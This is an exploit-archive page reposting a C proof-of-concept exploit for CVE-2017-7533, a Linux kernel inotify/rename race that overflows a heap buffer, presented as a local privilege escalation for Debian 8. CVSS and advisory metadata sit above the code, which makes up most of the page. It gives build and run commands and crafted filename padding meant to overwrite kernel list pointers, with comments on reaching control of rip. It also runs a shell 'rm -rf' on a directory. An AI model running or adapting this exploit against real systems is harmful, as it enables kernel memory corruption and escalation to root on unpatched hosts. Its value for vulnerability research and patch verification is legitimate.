Linux Kernel < 3.16.39 (Debian 8 x64) inotfiy Local Privilege Escalation
CVE
Category
Price
Severity
CVE-2017-7533
CWE-264: Permissions, Privileges, and Access Controls
Not specified
High
Author
Risk
Exploitation Type
Date
Qualys Security Advisory
High
Local
2018-03-20
CPE
cpe:Not available on the page
CVSS vector description
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Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030152 Below is a copy:
Linux Kernel < 3.16.39 (Debian 8 x64) inotfiy Local Privilege Escalation /*
*
*
* CVE-2017-7533 inotfiy linux kernel vulnerability.
*
* $ gcc -o exploit exploit.c -lpthread
* $./exploit
*
* ```
* Listening for events.
* Listening for events.
* alloc_len : 50
* longname="test_dir/bbbb321032103210321001"
* handle_events() event->name : b, event->len : 16
* Detected overwrite!!!
* callrename done.
* alloc_len : 50
* ```
* This is a heap overflow bug,
* tested on the Debian 8 Linux version 3.16.39(amd64) successfully.
*
* You could modifiy one byte to manipulate rip register, but I do not tried hard to get root.
*
* Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university.
* ```
* ```
* Jeremy Huang ([email protected] )
*/
//Trigger inotify event by file open and rename to trigger the vulnerability and exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <sys/eventfd.h>
#include <sys/inotify.h>
#include <sys/mman.h>
#include <ctype.h>
#include <errno.h>
#include <err.h>
#include <poll.h>
#include <unistd.h>
void *callrename( void *ptr );
void *openclose( void *ptr );
pthread_t thread1, thread2;
int lastfd;
char *space;
int original,printed, *int_space;
volatile int stop = 0;
// Try kmalloc-192 made by cyclic(100)
char *orig_name = "f";
// 120
//char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
static void handle_events(int fd, int *wd, int argc, char* argv[])
{
/* Some systems cannot read integer variables if they are not
properly aligned. On other systems, incorrect alignment may
decrease performance. Hence, the buffer used for reading from
the inotify file descriptor should have the same alignment as
struct inotify_event. */
char buf[4096]
__attribute__ ((aligned(__alignof__(struct inotify_event))));
const struct inotify_event *event;
int i;
ssize_t len;
char *ptr;
/* Loop while events can be read from inotify file descriptor. */
for (;;) {
/* Read some events. */
len = read(fd, buf, sizeof buf);
if (len == -1 && errno != EAGAIN) {
perror("read");
exit(EXIT_FAILURE);
}
/* If the nonblocking read() found no events to read, then
it returns -1 with errno set to EAGAIN. In that case,
we exit the loop. */
if (len <= 0)
break;
/* Loop over all events in the buffer */
for (ptr = buf; ptr < buf + len;
ptr += sizeof(struct inotify_event) + event->len) {
event = (const struct inotify_event *) ptr;
/* Print event type */
/*
if (event->mask & IN_OPEN)
printf("IN_OPEN: ");
if (event->mask & IN_CLOSE_NOWRITE)
printf("IN_CLOSE_NOWRITE: ");
if (event->mask & IN_CLOSE_WRITE)
printf("IN_CLOSE_WRITE: ");
if (event->mask % IN_ACCESS)
printf("IN_ACCESS: ");
*/
/* Print the name of the watched directory */
for (i = 1; i < argc; ++i) {
if (wd[i] == event->wd) {
//printf("%s/", argv[i]);
break;
}
}
/* Print the name of the file */
if (event->len && strcmp(event->name, orig_name)) {
printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len);
if ( !strcmp(event->name, "b") && strlen(event->name) == 1) {
printf("Detected overwrite!!!\n");
stop = 1;
break;
}
}
/* Print type of filesystem object */
/*
if (event->mask & IN_ISDIR)
printf(" [directory]\n");
else
printf(" [file]\n");
*/
}
}
}
static void* notify_thread_func(void* arg)
{
char buf;
int fd, i, poll_num;
int *wd;
nfds_t nfds;
struct pollfd fds[2];
int argc = 2;
char *argv[] = { NULL, "test_dir", NULL};
/*
if (argc < 2) {
printf("Usage: %s PATH [PATH ...]\n", argv[0]);
exit(EXIT_FAILURE);
}
*/
//printf("Press ENTER key to terminate.\n");
/* Create the file descriptor for accessing the inotify API */
fd = inotify_init1(IN_NONBLOCK);
if (fd == -1) {
perror("inotify_init1");
exit(EXIT_FAILURE);
}
/* Allocate memory for watch descriptors */
wd = calloc(argc, sizeof(int));
if (wd == NULL) {
perror("calloc");
exit(EXIT_FAILURE);
}
/* Mark directories for events
- file was opened
- file was closed */
for (i = 1; i < argc; i++) {
wd[i] = inotify_add_watch(fd, argv[i],
IN_OPEN | IN_CLOSE| IN_ACCESS);
if (wd[i] == -1) {
fprintf(stderr, "Cannot watch '%s'\n", argv[i]);
perror("inotify_add_watch");
exit(EXIT_FAILURE);
}
}
/* Prepare for polling */
nfds = 2;
/* Console input */
fds[0].fd = STDIN_FILENO;
fds[0].events = POLLIN;
/* Inotify input */
fds[1].fd = fd;
fds[1].events = POLLIN;
printf("Listening for events.\n");
while (!stop) {
poll_num = poll(fds, nfds, -1);
if (poll_num == -1) {
if (errno == EINTR)
continue;
perror("poll");
exit(EXIT_FAILURE);
}
if (poll_num > 0) {
if (fds[1].revents & POLLIN) {
handle_events(fd, wd, argc, argv);
}
}
}
close(fd);
free(wd);
exit(EXIT_SUCCESS);
}
void *trigger_rename_open(void* arg)
{
int iret1, iret2,i;
setvbuf(stdout,0,2,0);
iret1 = pthread_create( &thread1, NULL, callrename, NULL);
if(iret1)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
exit(EXIT_FAILURE);
}
iret2 = pthread_create( &thread2, NULL, openclose, NULL);
if(iret2)
{
fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
exit(EXIT_FAILURE);
}
pthread_join( thread1, NULL);
pthread_join( thread2, NULL);
exit(EXIT_SUCCESS);
}
// 250
char *longname_padding = "bbbb3210321032103210";
//char *longname_padding = "bbbb32103210321032103210ABCDEF";
/*
rcx : 44434241..
DCDA0123
*/
// char *longname_padding = "bbbb3210321032GFEDCBA";
// 31 will crash
void *callrename( void *ptr )
{
int i,m,k;
char enter = 0;
char origname[1024];
char longname[1024];
char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
char prev_ptr[8] = "";
// This value will overwrite the next (struct fsnotify_event)event->list.next
// create shortname being initial name.
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
//printf("origname=\"%s\"\n", origname);
snprintf(longname, sizeof longname, "test_dir/%s%s%s",
longname_padding, next_ptr, prev_ptr);
//strcat(longname,space);
printf("longname=\"%s\"\n", longname);
for (i=0;i<10000 && !stop ;i++)
{
if (rename(origname,longname)<0) perror("rename1");
if (rename(longname,origname)<0) perror("rename2");
}
printf("callrename done.\n");
}
void *openclose( void *ptr )
{
int j,fd,m,k;
char origname[1024];
snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
for (j=0;j<8000 && !stop;j++ )
{
open(origname,O_RDWR);
}
printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
}
void main(void)
{
pthread_t notify_thread[4];
pthread_t rename_thread;
int i = 0;
char buf[1024];
snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
system(buf);
for ( i ; i < 2; i++ ) {
pthread_create(¬ify_thread[i],
NULL,
notify_thread_func,
NULL);
}
//Trigger inotify event by file open and rename to
//trigger the vulnerability
pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
pthread_join(rename_thread, NULL);
for ( i = 0; i < 2; i++ )
pthread_join(notify_thread[i], NULL);
}
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